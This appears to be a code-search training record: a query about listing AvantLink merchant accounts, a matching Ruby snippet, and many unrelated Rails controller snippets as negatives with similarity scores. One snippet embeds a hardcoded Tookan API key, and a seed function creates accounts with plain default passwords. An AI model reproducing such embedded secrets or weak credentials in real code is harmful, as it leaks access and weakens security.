User.add_user_to_group(@organization, ['admin'], params[:admin1_email], params[:admin1_first_name], params[:admin1_last_name], params[:admin1_phone] ) if (params[:admin1_email].present?)\n User.add_user_to_group(@organization, ['admin'], params[:admin2_email], params[:admin2_first_name], params[:admin2_last_name], params[:admin2_phone] ) if (params[:admin2_email].present?)\n \n format.html { redirect_to organization_path(@organization), notice: 'Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n \n @tenant =Tenant.new(tenant_params)\n meal_spread_data = tenant_params[\"tenant_details_attributes\"].map{|i| [i[1][\"meal_time\"], i[1][\"stud_type\"], i[1][\"spread_type\"]] if i[1] != nil }\n duplication_values = meal_spread_data.group_by{ |e| e }.select { |k, v| v.size > 1 }.map(&:first)\n \n if duplication_values.uniq == []\n respond_to do |format|\n data = tenant_params\n\n tookan = {\"api_key\": \"50646180f541481e4c422b614c5825431be3c2f82fd57936541c03\",\"user_type\": 0,\"name\": data[:name],\"phone\": data[:phone1],\"email\": data[:email],\"address\": data[:address],\"latitude\": data[:latitude],\"longitude\": data[:longitude]}\n response = RestClient.post \"https://api.tookanapp.com/v2/customer/add\", tookan.to_json, :content_type => \"application/json\"\n response = JSON.parse(response)\n \n if response[\"status\"] == 200\n if @tenant.save \n @tenant.update(customer_id: response[\"data\"][\"customer_id\"])\n food_category = FoodCategory.find_or_create_by(name: \"Veg\")\n @tenant.tenant_details.update(food_category_id: food_category.id)\n @tenant.update(:created_by=>session[:kitchen_user_id],feedback_code: \"HU00\"+''+@tenant.id.to_s) \n TenantNotifierMailer.send_cnfrmtn_email(@tenant).deliver \n format.html { redirect_to tenants_url, notice: 'Tenant was successfully created.' } \n format.json { render :show, status: :created, location: @tenant }\n end \n else \n format.html { redirect_to tenants_url } \n format.json { render json: @tenant.errors, status: :unprocessable_entity } \n end \n end \n else\n @spread = JSON.parse RestClient.get(\"#{$pim_core_service}/pimcore/api/FoodRecepie/SpreadName\")\n @duplication_status = true\n render :new\n end\n end", "def update\n redirect_to root_path unless EditMerchant.new(current_company_user, current_admin).check\n respond_to do |format|\n if @merchant.update(merchant_params)\n format.html { redirect_to root_path, notice: 'Merchant was successfully updated.' }\n format.json { render :show, status: :ok, location: @merchant }\n else\n format.html { render :edit }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_org_member\n @organization = Organization.find(params[:organization_id].to_i)\n @email = params[:email]\n\n @first_name = params[:first_name]\n @last_name = params[:last_name]\n @pw = params[:password]\n @pw_confirmation = params[:password_confirmation]\n\n # TODO check if authtoken is in sess variable\n # If so, only update user password\n \n # Allocate User account, dashboard, and profile \n @user = User.create(\n email: @email,\n password: @pw,\n password_confirmation: @pw_confirmation,\n organization: @organization\n )\n if @user\n Dashboard.create(\n lead_email: @email, \n lead_name: \"#{@first_name} #{@last_name}\",\n user: @user\n )\n\n profile = Profile.find_or_create_by!(email: @email) do |profile|\n profile.first_name = @first_name\n profile.last_name = @last_name\n profile.dashboard_registered = true\n end\n\n profile.update(user: @user)\n\n # Create zoho lead record\n if !@orgnization.nil? && @organization.name != 'test'\n ZohoService.save_to_zoho(profile)\n end\n\n #sign in newly created user\n sign_in(@user, scope: :user)\n # Setting up alias to map user id to mixapanel unique id. So we can use userid moving forward\n mixpanel_distinct_id = params[:distinct_id]\n @tracker.alias(@user.id,mixpanel_distinct_id)\n @tracker.people.set(@user.id,{\n '$first_name' => @user.profile.first_name,\n '$last_name' => @user.profile.last_name,\n '$email' => @user.email,\n '$phone' => @user.profile.phone\n },@user.current_sign_in_ip.to_s)\n @tracker.track(@user.id,'User account created for org. member')\n\n # flash[:notice] = 'Welcome to MyDomino!'\n \n render json: {\n message: 'User added',\n status: 200\n }, status: 200\n else\n render json: {\n message: 'Error adding user',\n status: 400\n }, status: 400\n end\n end", "def create\n @tenancy_agreement = TenancyAgreement.new(params[:tenancy_agreement])\n @tenancy_agreement.estate_agent_id = current_user.estate_agent_id\n respond_to do |format|\n if @tenancy_agreement.save\n format.html { redirect_to tenancy_agreements_path, notice: 'Tenancy agreement was successfully created.' }\n format.json { render json: @tenancy_agreement, status: :created, location: @tenancy_agreement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tenancy_agreement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n Rails.logger.info(params)\n if params.has_key?(:name) && params.has_key?(:pdSupervisor) && params.has_key?(:pdInstitution) && params.has_key?(:pdStartYear) && params.has_key(:pdEndYear)\n # need to find the person, supervisor, and institution IDs first\n name_id = Person.find_person_id(params[:name])\n supervisor_id = Person.find_mentor_supervisor_id(params[:pdSupervisor], params[:pdInstitution])\n instit_id = Institution.find_institution_id(params[:pdInstitution])\n # check if the mentorship already exists\n unless Mentorship.exists?(:person_id => name_id, :mentor_id => supervisor_id, :institution_id => instit_id, :start => params[:pdStartYear], :end => params[:pdEndYear])\n @mentorship = Mentorship.new_degree(params[:name], params[:pdSupervisor], params[:pdInstitution], params[:pdStartYear], params[:pdEndYear])\n if @mentorship != nil && @mentorship.save\n render json: @mentorship.as_json, status: :created\n return\n end\n end\n end\n end", "def create\n\n organizer_id = params[:organizer_id] unless params[:organizer_id].blank?\n @regattum = Regattum.new(regattum_params)\n @regattum.organizer_id = organizer_id unless organizer_id.blank?\n respond_to do |format|\n if @regattum.save\n format.html { redirect_to @regattum, notice: 'Regattan har skapats' }\n format.json { render :show, status: :created, location: @regattum }\n else\n format.html { render :new }\n format.json { render json: @regattum.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup_contributor\n if @role.contributor != nil\n @editing = true\n @contributor=@role.contributor\n else\n @contributor=Contributor.new(:status_id => PENDING)\n @contributor.updated_by = get_user.login_id\n @role.contributor = @contributor\n \n end\n \n set_default_status(@contributor)\n attachments @contributor\n end", "def create\n check_member_or_admin_of_group?\n @engagement = Engagement.new(engagement_params)\n @engagement.contact_id = Contact.friendly.find(params[:contact_id]).id\n #@engagement.contact_id = params[:contactid]\n respond_to do |format|\n if @engagement.save\n format.html { redirect_to request.referer, notice: 'Engagement was successfully created.' }\n format.json { render action: 'show', status: :created, location: @engagement }\n else\n format.html { render action: 'new' }\n format.json { render json: @engagement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n @company.company_admins.create(:user_id => current_user.id, :company_id => @company.id, :user_role => 'admin')\n format.html { redirect_to @company, flash: {:success => 'Company was successfully created.'} }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n end", "def create\n # @user = current_user\n @apartment = Apartment.new(create_update_params)\n # @apartment.user = current_user\n respond_to do |format|\n if @apartment.save\n format.html { redirect_to apartments_path, notice: 'Apartment was successfully created.' }\n format.json { render :show, status: :created, location: @apartment }\n else\n format.html { render :new }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_for_current\n\n # 1) create new recipient\n first_name = params[:first_name]\n last_name = params[:last_name]\n recipient = current_user.recipients.create(\n first_name: first_name,\n last_name: last_name\n )\n\n # 2) save recipient addresses\n addresses = params[:addresses]\n if addresses\n primary_set = false\n addresses.each do |address|\n address = recipient.addresses.new(\n first_name: first_name,\n last_name: last_name,\n street: address[:street],\n city: address[:city],\n suite: address[:suite],\n state: address[:state],\n zipcode: address[:zipcode],\n )\n if address.save\n unless primary_set\n address.set_primary\n primary_set = true\n end\n end\n end\n end\n \n\n # 3) save recipient occasions\n occasions = params[:occasions]\n\n if occasions\n occasions.each do |occasion|\n\n occasion_id = occasion[:recipient_occasion][:occasion_id]\n day = occasion[:recipient_occasion][:day]\n month = occasion[:recipient_occasion][:month]\n notes = occasion[:recipient_occasion][:notes]\n recipient.recipient_occasions.create(\n occasion_id: occasion_id,\n day: day,\n month: month,\n notes: notes\n )\n end\n end\n\n respond_to do |format|\n format.json { render json: recipient }\n end\n\n end", "def set_tenant\n unless params[:id] == \"undefined\"\n @tenant = Tenant.find(params[:id])\n else\n redirect_to tenants_url\n end\n end", "def create\n @roommate = Roommate.new(roommate_params[:roommate])\n @roommate.user = current_user\n @roommate.company = current_user.company\n if @roommate.save\n flash[:success] = \"Roomsharing referral data saved!\"\n redirect_to @roommate\n else\n # error\n render 'new'\n end\n end", "def merchant\n merchants = engine.merchant_repository.parse\n merchants.detect {|merchant| merchant.id == merchant_id}\n end", "def add_user_for_tenant(args = {}) \n post(\"/tenants.json/#{args[:tenantId]}/users\", args)\nend", "def grant!\n unless person.editors.include?(editor)\n person.editors << editor\n EditorRequestMailer.notification(self).deliver_now\n end\n destroy\n end", "def seed_admin()\n User.create!({\n name: 'SMS Administrator',\n organization: 'SMS Organization',\n password: 'password',\n email: 'sms@vcn.bc.ca',\n admin: true,\n approved: true,\n cell_phone: '778-828-2633'\n })\n User.create!({\n name: 'Salvation army',\n organization: 'Salvation army',\n password: 'salvation',\n email: 'Salvation@army.ca',\n admin: false,\n approved: true,\n cell_phone: '778-222-2633'\n })\n User.create!({\n name: 'Test organization',\n organization: 'organization',\n password: 'organization',\n email: 'some@organization.ca',\n admin: false,\n approved: false,\n cell_phone: '778-111-2633'\n })\nend", "def create\n Gearset.current(current_user).update(gearset_params)\n end", "def set_mentorship\n @mentorship = Mentorship.find(params[:id])\n end", "def build_merchant\n assign_wares\n # assign_merchant_image\n merchant_sayings\n end", "def assign_manager\n \tuser = User.find(params[:user_id].to_i)\n manager = user.my_manager\n \tif manager.blank?\n\t UserLeadGenerator.create(user_id: params[:manager_id], lead_generator_id: user.id)\t\t\n else\n manager.update_attributes(user_id: params[:manager_id])\n end\t\t\n \tredirect_to admin_list_users_path\n end", "def new\n add_breadcrumb \"Merchants\", epsadmin_merchants_path\n @epsadmin_merchant = Merchant.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @epsadmin_merchant }\n end\n end", "def update_user_details_in_chargify\n unless self.account.chargify_customer_id.blank?\n\n if self.roles.any? { |r| r.title == 'account_holder' }\n chargify_customer = Chargify::Customer.find_by_reference(self.account.id)\n chargify_customer.first_name = self.firstname\n chargify_customer.last_name = self.lastname\n chargify_customer.email = self.email\n chargify_customer.save\n end\n end\n end", "def update\n @updateTenants = []\n Tenant.all.each do |t|\n if @expense.year == t.expenseyear\n @updateTenants << t\n end\n end\n\n respond_to do |format|\n if @expense.update(expense_params)\n b_id = Building.search(@expense.buildinginfo)\n Building.find_by(id: b_id).expenses << @expense\n @updateTenants.each do |t|\n t.expenseyear = @expense.year\n t.save\n end\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup_db\n @database.create_table :merchants do\n primary_key :id\n String :name\n end\n\n @database.create_table :cards do\n primary_key :id\n String :token, :unique => true, :null => false\n Integer :limit, :null => false\n Integer :balance, :null => false\n Integer :velocity_limit\n Integer :velocity_interval\n end\n\n @database.create_table :txns do\n primary_key :id\n Integer :card_id, :null => false\n Integer :merchant_id, :null => false\n Integer :amount, :null => false\n DateTime :created_at, :null => false\n end\n\n @database.create_table :locks do\n String :id, :unique => true, :null => false\n DateTime :created_at\n end\n\n return true\n end", "def create\n # Code refactoring that use the relationship between person and Entry Sets\n @entry_set = @current_user.person.entry_sets.build(params[:entry_set])\n\n respond_to do |format|\n if @entry_set.save\n format.json { render json: @entry_set, status: :created, location: @entry_set }\n else\n format.json { render json: @entry_set.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.64741534", "0.645472", "0.5900176", "0.58992934", "0.58387935", "0.5817", "0.5794663", "0.5778153", "0.57429475", "0.5719455", "0.57098025", "0.5692008", "0.56396145", "0.55900717", "0.55840194", "0.55569285", "0.5553731", "0.5553731", "0.5551272", "0.5546224", "0.5539523", "0.5532043", "0.55274504", "0.5522779", "0.5519829", "0.5515324", "0.55085415", "0.5500121", "0.54977787", "0.5479355", "0.54788566", "0.5476117", "0.54543716", "0.54454744", "0.54311764", "0.5422186", "0.5411056", "0.54069316", "0.54033726", "0.53989136", "0.5381862", "0.5375702", "0.5373419", "0.5358316", "0.535018", "0.5349277", "0.53432584", "0.53287244", "0.53285646", "0.5320776", "0.5319244", "0.5314349", "0.5302767", "0.53027546", "0.530095", "0.5294965", "0.52926856", "0.5277646", "0.5268557", "0.52679324", "0.5266211", "0.52641", "0.5258913", "0.5251778", "0.5251076", "0.5249754", "0.5242327", "0.52368927", "0.523265", "0.5227038", "0.52228504", "0.5221276", "0.5219832", "0.52165836", "0.5216234", "0.521401", "0.5211395", "0.5209082", "0.51994497", "0.5198653", "0.5198653", "0.5198653", "0.5198653", "0.51943576", "0.51924515", "0.5191952", "0.5188291", "0.51872873", "0.5183669", "0.51809204", "0.5180245", "0.5177915", "0.5177171", "0.5173335", "0.51727843", "0.5162615", "0.51595116", "0.51557976", "0.51552975", "0.5153044" ]
0.70734984
0
Get the list of merchant accounts at AvantLink, and cycle through each.
def merchant_list @merchant_list ||= @api.associations end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fetch_accounts\n acc_obj_arr = []\n accounts.each do |link|\n link.click\n puts \"Accessing account: #{acc_name}\"\n wait_to_load\n puts 'Loading transactions data'\n scroll_to_bottom\n puts '>Transactions data successfully loaded'\n puts 'Fetching transactions'\n tr = TransFetch.new(@bank_page).fetch_trans\n acc_obj_arr << Account.new(acc_name, acc_currency, acc_balance,\n 'Credit Card', tr)\n puts \">Successfully retrieved data for #{acc_name} account\"\n end\n acc_obj_arr\n end", "def each_account\n @accounts.each {|a| yield a if block_given?}\n end", "def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end", "def index\n redirect_to root_path unless ViewMerchant.new(current_company_user, current_admin).check\n @merchants = []\n end", "def fetch_accounts\n log 'fetch_accounts'\n data = get(PRODUCTS_ENDPOINT, fields: { carteras: false,listaSolicitada: 'TODOS',indicadorSaldoPreTarj: false })\n cuentas = data['datosSalidaCuentas']['cuentas'].zip(data['datosSalidaCodIban']['datosIban'])\n cuentas.map{ |data| build_account(data) }\n end", "def index\n @merchants = Merchant.all\n end", "def index\n @merchants = Merchant.all\n end", "def list_accounts(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n accounts.each do |acc|\n print_account(acc)\n end\nend", "def all_merchant_configs\n profile.merchant_configs\n end", "def listMerchants (merchants)\n\tmerchants.each do |merchant|\n\t\tputs \"#{merchant[\"name\"]}\"\n\tend\nend", "def accounts\n @browser.lis(data_semantic: 'account-item')\n end", "def all\n @dealing_platform.gather 'accounts', :accounts, Account\n end", "def each &block\n @accounts.each &block\n end", "def accounts\n return [] if self.id.nil?\n @accounts ||= \n OrgSync::Base.request(\"#{self.class.endpoint}/#{self.id}/accounts\", {}, @api_key).map { |json| \n OrgSync::Account.new(json, @api_key) \n }\n end", "def get_accounts(collector, limit)\n service = Service.where(name: collector).first\n accounts = service.\n user_proxies.\n limit(limit).\n order([:refresh_date, 'ASC'])\n end", "def find_all_accounts(authorizer)\n debug \"central find_all_accounts\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end", "def accounts\n @accounts_manager\n end", "def getAccounts\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n http = broker_url + \"/resources/accounts\"\n res = httpGETRequest(http)\n return res\n end", "def get_accounts()\n http_get(accounts_url)\n end", "def accounts\n\t\treturn @accounts\n\tend", "def index\n @merchant_account_permissions = MerchantAccountPermission.all\n end", "def listaccounts\n return {} unless node.wallet\n accounts = {}\n node.wallet.accounts.each do |a|\n accounts[a.name] = node.wallet.get_balance(a)\n end\n accounts\n end", "def accounts\n get('/accounts')['accounts']\n end", "def accounts\n Management::Account.all(self)\n end", "def accounts\n @transactions.collect(&:account).uniq\n end", "def get_accounts\n @accounts = Account.all\n end", "def list_accounts\n HTTP.headers(:accept => @@accept).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/accounts\").parse[\"accounts\"]\n end", "def accounts\n request = request(method: :get, path: \"/Account.json\")\n response = request.perform\n instantiate(response[\"Account\"], Lightspeed::Account)\n end", "def fetch_accounts\n # First we need to fetch the products / views for the user\n \n user_response = JSON.parse(get(BASE_ENDPOINT + USER_ENDPOINT))\n view = user_response['views'].find { |view| view['type'] == 0}\n view_id = view['id']\n\n # Now we get the accounts for that product / view\n products_response = JSON.parse(get(BASE_ENDPOINT + PRODUCTS_ENDPOINT + \"/#{view_id}\"))\n\n # Find which products are accounts\n products_response.select! do |product|\n product['$type'] == 'Arquia.Backend.Domain.Models.Entities.Account, Arquia.Backend.Domain.Models'\n end\n\n products_response.map { |account| build_account(account) }\n end", "def fetch_accounts\n log 'fetch_accounts'\n\n custom_headers = {\n 'Content-Type' => 'application/json; charset=UTF-8',\n 'Contexto' => get_context\n }\n\n params = {\n \"peticionCuentasKYOSPaginadas\" => {\n \"favoritos\" => false,\n \"paginacion\" => \"0\"\n }\n }\n\n response = with_headers(custom_headers) do\n post(BASE_ENDPOINT + ACCOUNTS_ENDPOINT, fields: params.to_json)\n end\n\n json = JSON.parse(response)\n\n if json['respuestacuentas']['cuentas'].is_a? Array\n # TODO: test this with a user with multiple accounts\n json['respuestacuentas']['cuentas'].map { |data| build_account(data) }\n else\n [build_account(json['respuestacuentas']['cuentas'])]\n end\n end", "def get_accounts\n response_xml = http_get(\"#{xero_url}/accounts\")\n parse_response(response_xml)\n end", "def render_accounts\n\t accounts = []\n\t self.accounts.each do |acc|\n\t \taccounts.push acc.render_detail\n\t end\n\t \n\t accounts\n\tend", "def all\n @merchants\n end", "def accounts\n return @accounts if @accounts\n @accounts = [ brokerage_account, bank_account ].compact\n end", "def account_list\n return [] unless company\n [company] + company.sibling_accounts\n end", "def index\n @merchants = Merchant.all\n\n render_success_response({\n merchant: array_serializer.new(@merchants, serializer: MerchantSerializer)\n })\n end", "def accounts\n period.accounts\n end", "def listaccounts(minconf = 1)\n @api.request 'listaccounts', minconf\n end", "def index\n @merchants = Merchant.order('username ASC')\n end", "def listaccounts(minconf = 1)\n coind.listaccounts minconf\n end", "def accounts\n end", "def accounts\n return @accounts if @accounts\n\n # find the bricklet articles, which contains the balance data\n articles = accounts_summary_document.xpath(\"//article\").\n select{|a| a.attributes[\"class\"].value == \"bricklet\"}\n\n @accounts = articles.map do |article|\n prefix = article.attributes[\"id\"].value.gsub(\"_bricklet\", '')\n name = article.xpath(\".//a[@class='product_desc_link']\").text\n number = article.xpath(\".//span[@id='#{prefix}_number']\").text\n balance = article.xpath(\".//span[@id='#{prefix}_current_balance_amount']\").text\n available = first_numeric(article.xpath(\".//div[@id='#{prefix}_available_credit_amount']\").text)\n Account.new(:credit_card, name, number, balance, available)\n end\n end", "def get_debaters\n\t\treturn self.accounts\n\tend", "def index\n @merchant_applications = MerchantApplication.all\n end", "def get_accounts\n response_xml = http_get(@client, \"#{xero_url}/Accounts\")\n parse_response(response_xml, {}, {:request_signature => 'GET/accounts'})\n end", "def forEachUser(list = nil) \n list = @accountList if list == nil\n list.each do |account|\n yield account\n end\n end", "def accounts\n @accounts ||= Lightspeed::Accounts.new(context: self)\n end", "def accounts( params={} )\n accounts = get_connections(\"accounts\", params)\n return map_connections accounts, :to => Facebook::Graph::Generic\n end", "def padma_accounts\n return nil if self.accounts.nil?\n self.accounts.map{|a|PadmaAccount.new(a)}\n end", "def account(&block)\n response = _get(\"accounts/current\")\n yield(response) if block_given?\n response[\"account\"]\n end", "def index\n @managed_instagram_accounts = ManagedInstagramAccount.all\n end", "def index\n @account_links = AccountLink.all\n end", "def index\n @tenants = current_account.tenants\n end", "def find_all_merchant_name(name)\n merchant_objects.select do |merchants|\n merchants.merchant_name == name\n end\nend", "def listtransactions(account, count = 10)\n coind.listtransactions account, count\n end", "def account\n params[\"MerchantCode\"]\n end", "def merchant\n merchants = engine.merchant_repository.parse\n merchants.detect {|merchant| merchant.id == merchant_id}\n end", "def acc_ids\n\t self.accounts.pluck(:id)\n\tend", "def accounts\n db.accounts.map do |raw|\n a = Account.parse_from_payload(raw)\n a.wallet = self\n a\n end\n end", "def accounts\n response = query_api(\"/rest/accounts\")\n return response[\"accounts\"].map {|account| Account.new(self, account)}\n end", "def list_accounts\n\ttp Account.all\nend", "def accounts(query = nil)\n exec(\"accounts #{query if query}\").split(\"\\n\")\n end", "def accounts\n account_data = request('listaccounts')\n account_data.map do |account_name, account_value|\n Account.new(self, account_name, account_value, false)\n end\n end", "def index\n @external_payees = Payee.external_payees\n @account_payees = Payee.all_account_payees\n end", "def transactions account_id\n data = perform_get(\"#{ACCOUNTS_PATH}/#{account_id}/transactions\")\n data[:accountTransactions] || []\n end", "def index\n @transactions = current_user.wallet.transactions\n\n end", "def accounts\n @accounts ||= Yodlee::AccountDelegator.new(session)\n end", "def tenant_list\n\t\t\n\t\tget_call = Curl::Easy.http_get(\"#{@ip_address}:#{@port_2}/v2.0/tenants\"\n\t\t) do |curl| curl.headers['x-auth-token'] = @token end\n\t\t\n\t\tputs \"invoking tenant-list...\"\n\t\t\n\t\tparsed_json = JSON.parse(get_call.body_str)\n\t\t\n\t\tputs parsed_json\n\t\treturn parsed_json\n\tend", "def accounts_from_current_user\n\t\taccounts = []\n\t\tcurrent_user.RelatedAccounts.each do |relatedaccount|\n\t\t\tAccount.find_all_by_Canal__c(relatedaccount.canal_id).each do |account|\n\t\t\t\taccounts << account\n\t\t\tend\n\t\tend\n\n\t\treturn accounts\n\tend", "def all(params = {})\n @client.make_request(:get, 'carrier_accounts', MODEL_CLASS, params)\n end", "def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end", "def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end", "def rip_accounts()\n if @version >= IOS_VERSION_9\n @database.execute(\"SELECT ZICCLOUDSYNCINGOBJECT.Z_PK \" +\n \"FROM ZICCLOUDSYNCINGOBJECT \" + \n \"WHERE ZICCLOUDSYNCINGOBJECT.ZNAME IS NOT NULL\") do |row|\n rip_account(row[\"Z_PK\"])\n end \n end\n\n if @version == IOS_LEGACY_VERSION\n @database.execute(\"SELECT ZACCOUNT.Z_PK FROM ZACCOUNT\") do |row|\n rip_account(row[\"Z_PK\"])\n end\n end\n\n @accounts.each_pair do |key, account|\n @logger.debug(\"Rip Accounts final array: #{key} corresponds to #{account.name}\")\n end\n\n end", "def index\n @ad_accounts = AdAccount.all\n end", "def all\n result = @dealing_platform.session.get('accounts').fetch :accounts\n\n @dealing_platform.instantiate_models Account, result\n end", "def get_reseller_accounts\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/reseller/accounts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "def find_all_by_id(id)\n merchants.select {|merchant| merchant.id == id}\n end", "def index\n @account_transactions = AccountTransaction.paginate(page: params[:page], per_page: 30)\n end", "def get_accounts_by_user\n return User.find(params[:user_id]).accounts\n end", "def account_return\n direct_login = []\n users = []\n ulist = Main.active.account_text.tr(\"\\n \",\",\").split(\",\")\n ulist.each do |n| \n n.strip!\n case n\n when /^.*@[0-9]{2,3}$/ \n direct_login << n.split(\"@\")\n when /^.{1,8}$/\n users << n\n end\n end\n #p Account.find_accounts(users).private.other_accounts.flatten\n accounts = users.empty? ? [] : Account.find_accounts_or_initialize(users)\n accounts.collect! { |account| account.all_accounts } if accounts\n accounts.flatten! if accounts\n if !accounts.empty?\n fill_accounts(accounts)\n else\n Main.active.status = [\"#{users}\", \"existiert nicht\", \"important\", -1]\n end\n end", "def get_accounts(client, options)\n # TODO: Add exception handling \n if !options[:application].nil?\n application = client.applications.get options[:application]\n return application.accounts\n elsif !options[:directory].nil?\n directory = client.directories.get options[:directory]\n return directory.accounts\n elsif !options[:group].nil?\n group = client.groups.get options[:group]\n return group.accounts\n else\n puts \"Missing arguments\"\n return nil\n end \nend", "def show\n unless @merchant\n render_404\n return\n end\n\n return if !authorize_merchant\n # if merchant_id is same as logged in\n @products = @merchant.products\n # orders\n @paid = @merchant.order_items.where(status: \"paid\")\n @complete = @merchant.order_items.where(status: \"complete\")\n @canceled = @merchant.order_items.where(status: \"canceled\")\n\n @purchases = @merchant.user.orders\n\n end", "def gather_credit_info\r\n credit_accounts = @page.css(\"table[id='dashboardAccounts'] tr[id]\")\r\n @ca_index = 1\r\n while @ca_index <= credit_accounts.count do\r\n #account_name = @page.css(\"#dashboardAccounts td.ng-scope.icon-two-line-col > div > div > a > span\").text\r\n account_name = @page.search(\"#dashStep1 tr:nth-of-type(#{@ca_index}) td:nth-of-type(1) span\").text\r\n account_available_balance = @page.css(\"#dashStep1 tr:nth-of-type(#{@ca_index}) td:nth-of-type(3) span\").text\r\n account_currency = @page.css(\"#dashStep1 tr:nth-of-type(#{@ca_index}) td:nth-of-type(2) span\").text\r\n ca = Accounts.new(account_name, account_available_balance, account_currency,\"Credit\")\r\n @available_accounts << ca\r\n @ca_index += 1\r\n end\r\n end", "def account_trade_list(options)\n sleep 0.25 # rate limit weight of 5, 20 requests/second limit\n request :account, :get, 'myTrades', options\n end", "def get_accounts(page = 1, \r\n limit = 10, \r\n filter = nil, \r\n sort = nil)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts'\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'page' => page,\r\n 'limit' => limit,\r\n 'filter' => filter,\r\n 'sort' => sort\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "def index\n @user = current_user\n @bankAccounts = current_user.bank_accounts\n @transactions = []\n @bankAccounts.each do |acc|\n @transactions += acc.transactions\n end\n @transactions = @transactions.uniq\n @transactions.sort {|a,b| a.created_at <=> b.created_at}\n end", "def index\n @transfers = @bank_account.transfers.all\n end", "def each(&block)\n @ledger.each(&block)\n end", "def list_gen1_accounts() \n response = HTTParty.get(\"https://management.azure.com/subscriptions/#{subscriptionId}/providers/Microsoft.DataLakeStore/accounts?api-version=2016-11-01\", {\n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => '*/*',\n \"Cache-Control\" => 'no-cache',\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n \n verify: true,\n })\n\n return JSON.parse response.read_body\n end", "def index\n @accountants = Accountant.all\n end", "def get_accounts_info(customer_id=nil, only_parent_accounts=false)\n\t\t\tresponse = call(:get_accounts_info, \n\t\t\t\t{customer_id: customer_id || self.client_proxy.customer_id, \n\t\t\t\tonly_parent_accounts: only_parent_accounts.to_s})\n\t\t\tresponse_hash = get_response_hash(response, __method__)\n\t\t\taccounts = response_hash[:accounts_info][:account_info].map do |account_hash|\n\t\t\t\tBingAdsApi::AccountInfo.new(account_hash)\n\t\t\tend\n\t\t\treturn accounts\n\t\tend", "def index\n @customer_accounts = CustomerAccount.paginate(page: params[:page])\n end", "def list\n token = SocialService::Facebook.renew_token(token_params)\n\n accounts =\n SocialService::Facebook\n .accounts(token)\n .reject { |a| a[:id].in?(facebook_account_ids) }\n\n render json: { accounts: accounts }\n end", "def read_billings(config, org_guid)\n user_setup_obj = UsersSetup.new(config)\n\n users_list = []\n users = @client.organization(org_guid).billing_managers\n\n users.each do |user|\n user_guid = user.guid\n username = user_setup_obj.get_username_from_guid(user_guid)\n users_list << Users::User.new(username, 'billing', false, user_guid)\n end\n\n users_list\n end", "def index\n @transfers = []\n if current_user.admin?\n @transfers = Transfer.all\n else\n @transfers = Transfer.where(from: current_accounts.collect{|x| x.acct_number}) + Transfer.where(to: current_accounts.collect{|x| x.acct_number}) \n end\n end", "def rip_accounts()\n if @version >= IOS_VERSION_9\n @database.execute(\"SELECT ZICCLOUDSYNCINGOBJECT.Z_PK \" +\n \"FROM ZICCLOUDSYNCINGOBJECT \" + \n \"WHERE ZICCLOUDSYNCINGOBJECT.ZNAME IS NOT NULL\") do |row|\n rip_account(row[\"Z_PK\"])\n end \n end\n\n if @version == IOS_LEGACY_VERSION\n @database.execute(\"SELECT ZACCOUNT.Z_PK FROM ZACCOUNT\") do |row|\n rip_account(row[\"Z_PK\"])\n end\n end\n end", "def users\n user_arr = []\n accounts.each do |s|\n user_arr << User.find(s.user.id)\n end\n user_arr\n end", "def index\n @shopper_accounts = ShopperAccount.all\n end", "def index\n @accounts = current_user.accounts\n end", "def index\n @accounts = 